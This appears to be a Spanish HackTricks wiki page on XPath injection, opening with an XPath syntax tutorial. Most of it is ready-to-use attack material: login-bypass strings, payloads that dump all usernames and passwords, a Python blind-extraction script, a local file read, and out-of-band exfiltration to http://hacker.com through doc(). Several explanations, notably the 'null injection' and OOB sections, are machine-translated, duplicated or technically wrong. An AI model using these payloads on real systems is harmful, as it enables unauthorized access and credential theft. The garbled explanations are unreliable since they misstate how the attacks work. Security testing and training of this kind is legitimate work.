30 KiB
Inyección de XPATH
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
Sintaxis básica
La inyección de XPATH es una técnica de ataque utilizada para explotar aplicaciones que construyen consultas XPath (XML Path Language) a partir de la entrada proporcionada por el usuario para consultar o navegar por documentos XML.
Información sobre cómo hacer consultas: https://www.w3schools.com/xml/xpath_syntax.asp
Nodos
Expresión | Descripción |
---|---|
nodename | Selecciona todos los nodos con el nombre "nodename" |
/ | Selecciona desde el nodo raíz |
// | Selecciona nodos en el documento desde el nodo actual que coinciden con la selección sin importar dónde se encuentren |
. | Selecciona el nodo actual |
.. | Selecciona el padre del nodo actual |
@ | Selecciona atributos |
Ejemplos:
Expresión de ruta | Resultado |
---|---|
bookstore | Selecciona todos los nodos con el nombre "bookstore" |
/bookstore | Selecciona el elemento raíz bookstoreNota: Si la ruta comienza con una barra diagonal (/), siempre representa una ruta absoluta a un elemento! |
bookstore/book | Selecciona todos los elementos book que son hijos de bookstore |
//book | Selecciona todos los elementos book sin importar dónde se encuentren en el documento |
bookstore//book | Selecciona todos los elementos book que son descendientes del elemento bookstore, sin importar dónde se encuentren bajo el elemento bookstore |
//@lang | Selecciona todos los atributos que se llaman lang |
Predicados
Expresión de ruta | Resultado |
---|---|
/bookstore/book[1] | Selecciona el primer elemento book que es hijo del elemento bookstore.Nota: En IE 5,6,7,8,9 el primer nodo es[0], pero según W3C, es [1]. Para solucionar este problema en IE, establece SelectionLanguage en XPath: En JavaScript: xml.setProperty("SelectionLanguage","XPath"); |
/bookstore/book[last()] | Selecciona el último elemento book que es hijo del elemento bookstore |
/bookstore/book[last()-1] | Selecciona el penúltimo elemento book que es hijo del elemento bookstore |
/bookstore/book[position()<3] | Selecciona los dos primeros elementos book que son hijos del elemento bookstore |
//title[@lang] | Selecciona todos los elementos title que tienen un atributo llamado lang |
//title[@lang='en'] | Selecciona todos los elementos title que tienen un atributo "lang" con un valor de "en" |
/bookstore/book[price>35.00] | Selecciona todos los elementos book del elemento bookstore que tienen un elemento price con un valor mayor que 35.00 |
/bookstore/book[price>35.00]/title | Selecciona todos los elementos title de los elementos book del elemento bookstore que tienen un elemento price con un valor mayor que 35.00 |
Nodos desconocidos
Comodín | Descripción |
---|---|
* | Coincide con cualquier nodo de elemento |
@* | Coincide con cualquier nodo de atributo |
node() | Coincide con cualquier nodo de cualquier tipo |
Ejemplos:
Expresión de ruta | Resultado |
---|---|
/libreria/* | Selecciona todos los nodos de elementos secundarios del elemento libreria |
//* | Selecciona todos los elementos en el documento |
//titulo[@*] | Selecciona todos los elementos de título que tienen al menos un atributo de cualquier tipo |
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
Ejemplo
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Acceder a la información
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath to query XML data. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the XPath query and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other input field that is used to retrieve data from an XML source.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original XPath query and retrieve additional information that is not intended to be accessed.
For example, consider a search form that queries an XML database for books. The XPath query may look like this:
//book[title='search_term']
By injecting a malicious XPath expression, an attacker can modify the query to retrieve all books instead of just the ones matching the search term:
//book[title='search_term' or 1=1]
This will return all books in the database, effectively bypassing any authentication or authorization mechanisms that may be in place.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for an attacker to manipulate the query.
By understanding and exploiting XPath Injection vulnerabilities, an attacker can gain unauthorized access to sensitive information and potentially compromise the security of a web application. It is therefore crucial for developers and security professionals to be aware of this technique and take appropriate measures to prevent it.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identificar y robar el esquema
XPath Injection es una técnica de hacking que se utiliza para explotar vulnerabilidades en aplicaciones web que utilizan XPath para consultar bases de datos XML. Al inyectar código malicioso en los parámetros de consulta XPath, un atacante puede obtener información confidencial, como el esquema de la base de datos.
Para identificar y robar el esquema de una base de datos utilizando XPath Injection, se pueden seguir los siguientes pasos:
-
Identificar la vulnerabilidad: Buscar puntos de entrada en la aplicación web donde se utilice XPath para consultar bases de datos XML. Estos puntos de entrada pueden ser formularios de búsqueda, filtros o cualquier otro lugar donde se ingresen datos que se utilicen en consultas XPath.
-
Inyectar código malicioso: Una vez identificado el punto de entrada vulnerable, se debe inyectar código XPath malicioso en los parámetros de consulta. El objetivo es manipular la consulta XPath para obtener información adicional, como el esquema de la base de datos.
-
Obtener el esquema: Utilizando técnicas de inyección XPath, se pueden extraer los datos del esquema de la base de datos. Esto puede incluir información sobre las tablas, columnas, relaciones y otros detalles de la estructura de la base de datos.
Es importante tener en cuenta que el robo de esquemas de bases de datos utilizando XPath Injection es una actividad ilegal y solo debe realizarse con fines educativos y con el consentimiento del propietario del sistema.
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Bypass de Autenticación
Ejemplo de consultas:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Bypass OR en usuario y contraseña (mismo valor en ambos)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abuso de la inyección de nulos
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate and query XML data.
La inyección de nulos es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan consultas XPath para recuperar datos de documentos XML. XPath es un lenguaje utilizado para navegar y consultar datos XML.
XPath queries are often used to extract specific data from XML documents based on certain conditions. However, if the application does not properly sanitize user input, an attacker can manipulate the XPath query to inject malicious code.
Las consultas XPath se utilizan a menudo para extraer datos específicos de documentos XML basados en ciertas condiciones. Sin embargo, si la aplicación no sanitiza correctamente la entrada del usuario, un atacante puede manipular la consulta XPath para inyectar código malicioso.
One common way to abuse null injection is by injecting a single quote (') character into the XPath query. This can cause the query to break and potentially reveal sensitive information or even allow for remote code execution.
Una forma común de abusar de la inyección de nulos es inyectar un solo carácter de comilla simple (') en la consulta XPath. Esto puede hacer que la consulta falle y potencialmente revele información sensible o incluso permita la ejecución remota de código.
For example, consider the following vulnerable XPath query:
Por ejemplo, considera la siguiente consulta XPath vulnerable:
//users/user[name='admin' and password='admin']
If an attacker injects a single quote character after the admin
value, the query would break and potentially leak information:
Si un atacante inyecta un carácter de comilla simple después del valor admin
, la consulta fallaría y potencialmente podría filtrar información:
//users/user[name='admin''] and password='admin']
To prevent null injection attacks, it is important to properly sanitize and validate user input before using it in XPath queries. This can be done by using parameterized queries or input validation techniques.
Para prevenir ataques de inyección de nulos, es importante sanitizar y validar correctamente la entrada del usuario antes de utilizarla en consultas XPath. Esto se puede hacer utilizando consultas parametrizadas o técnicas de validación de entrada.
Username: ' or 1]%00
Doble OR en el nombre de usuario o en la contraseña (es válido con solo 1 campo vulnerable)
IMPORTANTE: Observa que la "y" es la primera operación realizada.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extracción de cadenas
La salida contiene cadenas y el usuario puede manipular los valores para buscar:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Explotación a ciegas
Obtener la longitud de un valor y extraerlo mediante comparaciones:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Ejemplo en Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Leer archivo
La inyección de XPath es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan XPath para consultar y manipular datos XML. Esta técnica permite a un atacante ejecutar consultas XPath maliciosas que pueden revelar información confidencial o incluso permitir la modificación de datos en la aplicación.
Cómo funciona la inyección de XPath
La inyección de XPath ocurre cuando una aplicación web no valida o filtra adecuadamente los datos de entrada antes de construir una consulta XPath. Un atacante puede aprovechar esta vulnerabilidad al proporcionar datos de entrada maliciosos que alteran la lógica de la consulta XPath original.
Por ejemplo, consideremos una aplicación web que utiliza XPath para buscar usuarios en una base de datos XML. La consulta XPath podría ser algo como:
/users/user[name='John']
Si la aplicación no valida o filtra adecuadamente los datos de entrada, un atacante podría proporcionar un valor malicioso como:
' or 1=1 or ''='
La consulta XPath resultante sería:
/users/user[name='' or 1=1 or ''='']
Esto devolvería todos los usuarios en la base de datos, ya que la condición siempre se evaluaría como verdadera.
Impacto de la inyección de XPath
La inyección de XPath puede tener un impacto significativo en la seguridad de una aplicación web. Al explotar esta vulnerabilidad, un atacante puede obtener acceso no autorizado a información confidencial, como contraseñas, datos personales o incluso credenciales de administrador. Además, también puede modificar datos en la aplicación, lo que puede llevar a resultados no deseados o incluso a la interrupción del funcionamiento normal de la aplicación.
Cómo prevenir la inyección de XPath
Para prevenir la inyección de XPath, es importante implementar las siguientes medidas de seguridad:
- Validar y filtrar adecuadamente los datos de entrada antes de utilizarlos en consultas XPath.
- Utilizar consultas parametrizadas o funciones de escape proporcionadas por el lenguaje o marco de desarrollo utilizado.
- Limitar los privilegios de acceso de la aplicación a los recursos del sistema subyacente.
- Mantener la aplicación y las bibliotecas utilizadas actualizadas con los últimos parches de seguridad.
Al seguir estas mejores prácticas de seguridad, se puede reducir significativamente el riesgo de inyección de XPath y proteger la aplicación web contra posibles ataques.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Explotación OOB
Out-of-Band (OOB) exploitation, also known as blind XPath injection, is a technique used to extract data from a vulnerable web application by leveraging the application's ability to make external requests. This technique is particularly useful when the application does not directly display the extracted data, but instead sends it to an external server.
Exploiting OOB vulnerabilities
To exploit an OOB vulnerability, an attacker injects malicious XPath queries into user-controlled input fields, such as search boxes or form inputs. These queries are designed to extract sensitive information from the application's database.
The attacker can then observe the application's behavior to determine if the injected query was successful. This can be done by monitoring the external server for incoming requests or by using a time-based technique, where the application's response time indicates whether the query was successful or not.
Example of OOB exploitation
Let's consider a vulnerable web application that uses user input to construct an XPath query to retrieve data from a database. The application takes a user's search query and constructs an XPath query like this:
//user[name/text()='search_query']
An attacker can exploit this vulnerability by injecting a malicious search query that includes an OOB payload. For example:
search_query = ' or 1=1 or name/text()='A' or count(/child::node())=10 or 'A'='A
This query will retrieve all records from the database, as the condition 1=1
is always true. The OOB payload count(/child::node())=10
will trigger an external request to the attacker's server, allowing them to extract the data.
Mitigating OOB vulnerabilities
To mitigate OOB vulnerabilities, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for malicious characters and limiting the length of input fields.
Additionally, it is recommended to use parameterized queries or prepared statements to construct XPath queries, as these methods automatically handle input sanitization and prevent injection attacks.
By implementing these security measures, web applications can significantly reduce the risk of OOB exploitation and protect sensitive data from being extracted.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Herramienta automática
{% embed url="https://xcat.readthedocs.io/" %}
Referencias
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.